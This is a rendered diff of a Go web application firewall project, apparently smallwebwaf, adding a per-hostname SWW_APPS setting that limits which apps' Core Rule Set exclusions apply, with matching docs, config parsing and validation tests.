| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | | `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | | `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | | `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | | `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | | `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | | `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | | `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in [`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings. full, and the limits that are fixed rather than settings.
@@ -581,31 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary - `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
requests get through to the apps listed below. No setting undoes the changes; requests to a code forge through, such as git over HTTP and sign-in through
"Attack detection" in [`SPEC.md`](SPEC.md) lists them. Git Credential Manager. No setting undoes the changes; "Attack detection" in
- These apps work out of the box at the default settings, and their recorded [`SPEC.md`](SPEC.md) lists them.
ordinary requests pass the Core Rule Set: - Each supported app also has its own fixes, which let its ordinary requests
- gitea: git over HTTP and sign-in through Git Credential Manager get through. Its recorded ordinary requests pass the Core Rule Set at the default
through. On gitea's own paths, its searches, file names and branch names settings. The supported apps, by their names in `SWW_APPS`, are:
do too. - `gitea`, whose fixes let its searches, file names and branch names
- WordPress: saving a post from the block editor gets through. On through;
WordPress's own paths, its searches, names and file names do too. - `wordpress`, whose fixes let through its searches, its names, its file
- Drupal: on Drupal's own paths, the page to return to, its searches and its names and a post saved from the block editor;
names get through. - `drupal`, whose fixes let through the page to return to, its searches and
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and its names;
wikitext get through. - `mediawiki`, whose fixes let through its searches, its page titles, its
- Mastodon: on Mastodon's own paths, its searches, names, email addresses, names and its wikitext;
posts and deliveries from other servers get through. - `mastodon`, whose fixes let through its searches, its names, its email
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email addresses, its posts and deliveries from other servers;
addresses and encrypted file names get through. - `vaultwarden`, whose fixes let through its names, its password hints, its
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its email addresses and its encrypted file names;
WebDAV methods, searches, file names, account names, comments and - `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
documents do too. its searches, its file names, its account names, its comments and its
- A random password, as a password manager makes one, gets through these forms: documents.
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud; - `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
- signing in, signing up, changing the password, and moving or deleting the apps' fixes, and a hostname it does not list gets none. Unset, every app's
account, on Mastodon. fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
+543 -558
View File
File diff suppressed because it is too large. Load diff
+25
View File
@@ -255,6 +255,31 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads, a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form. yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+92 -1
View File
@@ -29,6 +29,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
) )
@@ -235,6 +236,11 @@ type Config struct {
WAFExemptPaths []string WAFExemptPaths []string
WAFBodyLimit int64 WAFBodyLimit int64
CoreRuleSetExclusionsFile string CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of // TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?. // attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string TrapPaths []string
@@ -404,6 +410,11 @@ var (
errNotTrapPath = errors.New( errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php", "is not a path starting with / and without a ?, such as /wp-login.php",
) )
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block") errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4") errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New( errNotRuleID = errors.New(
@@ -577,6 +588,7 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty // trapPaths reads the setting that is the list of trap paths. It is empty
// by default. // by default.
func (e *environment) trapPaths(name string) []string { func (e *environment) trapPaths(name string) []string {
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil return paths, nil
} }
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set // parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to // rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID. // lastSetupRuleID.
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest return masked + "." + rest
} }
// isZone reports whether each label of zone is as parseZones takes it. // isZone reports whether each label of zone is as parseZones takes it. It
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool { func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") { for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool { badChar := strings.ContainsFunc(label, func(char rune) bool {
+97
View File
@@ -89,6 +89,7 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL" logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) {
} }
} }
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) { func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "", wafExemptPaths: "",
wafBodyLimit: off, wafBodyLimit: off,
exclusionsFile: "", exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "", trapPaths: "",
errorBurstThreshold: "30", errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
+115 -110
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww // body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as // makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// response. // in SPEC.md describes them. It reads no response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -32,11 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// giteaExclusions for the third, wordpressExclusions for the fourth, // directives of every app in apps for the third.
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// and nextcloudExclusions for the ninth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The eighth change comes before the rules for the same reason. # The apps' fixes come before the rules for the same reason.
%s %s
# The ninth change comes before the rules for the same reason. # The fifth: only the rules for requests are loaded, and no response is
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# And the fourteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth, # localhost. Coraza matches a parameter name here without regard to case.
# without regard to case. ARGS holds the fields of a form data or multipart # ARGS holds the fields of a form data or multipart body Coraza reads as
# body Coraza reads as well as the query parameters, so a field of one of # well as the query parameters, so a field of this name is left out too.
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a # The fourth: Referer is not checked for a Unix command without arguments,
# repository or its own records, or a page of its own site, are not # for Java starting a process, or for a Java class name. 944130 refused
# checked against the lists of system files, shell paths and command # every page opened from the page of java.lang.String.md.
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image # The sixth: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not # it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from # checked for command names. 932260 refused the push of a layer from
# owner/python3-app. # owner/python3-app.
@@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// giteaExclusions are the eighth change: the fields of gitea's own // app is an app whose ordinary requests the Core Rule Set would refuse,
// requests that skip the rules that refused them there, as Coraza // with the fixes that let them pass.
// directives. type app struct {
// // directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf //go:embed gitea.conf
var giteaExclusions string var giteaDirectives string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf //go:embed wordpress.conf
var wordpressExclusions string var wordpressDirectives string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf //go:embed drupal.conf
var drupalExclusions string var drupalDirectives string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf //go:embed mediawiki.conf
var mediawikiExclusions string var mediawikiDirectives string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf //go:embed mastodon.conf
var mastodonExclusions string var mastodonDirectives string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf //go:embed vaultwarden.conf
var vaultwardenExclusions string var vaultwardenDirectives string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf //go:embed nextcloud.conf
var nextcloudExclusions string var nextcloudDirectives string
// cookiesNotRead are the cookies the Core Rule Set reads a request // apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// without, the rest of the fifth change.
// //
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a map
var cookiesNotRead = []string{"gitea_flash", "redirect_to"} var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -259,6 +224,10 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
apps map[string][]string
} }
// New returns the Core Rule Set with the fourteen changes, at params' // New returns the Core Rule Set with the six changes and the apps' fixes,
// paranoia level, without the rules it switches off, reading request // at params' paranoia level, without the rules it switches off, reading
// bodies up to params' limit, and with params' exclusions file loaded // request bodies up to params' limit, and with params' exclusions file
// before the Core Rule Set's rules. An exclusions file is an error if it // loaded before the Core Rule Set's rules. An exclusions file is an error
// cannot be read or does not parse, or if checkExclusions refuses it. // if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions, fixes.String())
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -412,11 +388,12 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client: on its // Inspect runs the Core Rule Set on r, a request from client, with the
// method, its URL with the query, and its headers, the Cookie header // fixes of the apps appsFor names for r's hostname: on its method, its URL
// without the cookies in cookiesNotRead, and on body, r's body as the // with the query, and its headers, the Cookie header without those apps'
// caller has it, as readBody reads it. It returns what it found, what it // cookies, and on body, r's body as the caller has it, as readBody reads
// read of body, and the error that ended the reading early, if one did. // it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookiesNotRead(value) value = withoutCookies(value, cookiesNotRead)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -523,9 +511,26 @@ func score(tx types.Transaction) int {
return n return n
} }
// withoutCookiesNotRead returns value, a Cookie header's, without the // appsFor returns the names of the apps whose fixes a request for host,
// cookies in cookiesNotRead. // its Host header, gets: every app while SWW_APPS is unset, and otherwise
func withoutCookiesNotRead(value string) string { // those SWW_APPS lists for host's name, without the port and in
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
+167 -289
View File
@@ -1,10 +1,8 @@
package coreruleset_test package coreruleset_test
import ( import (
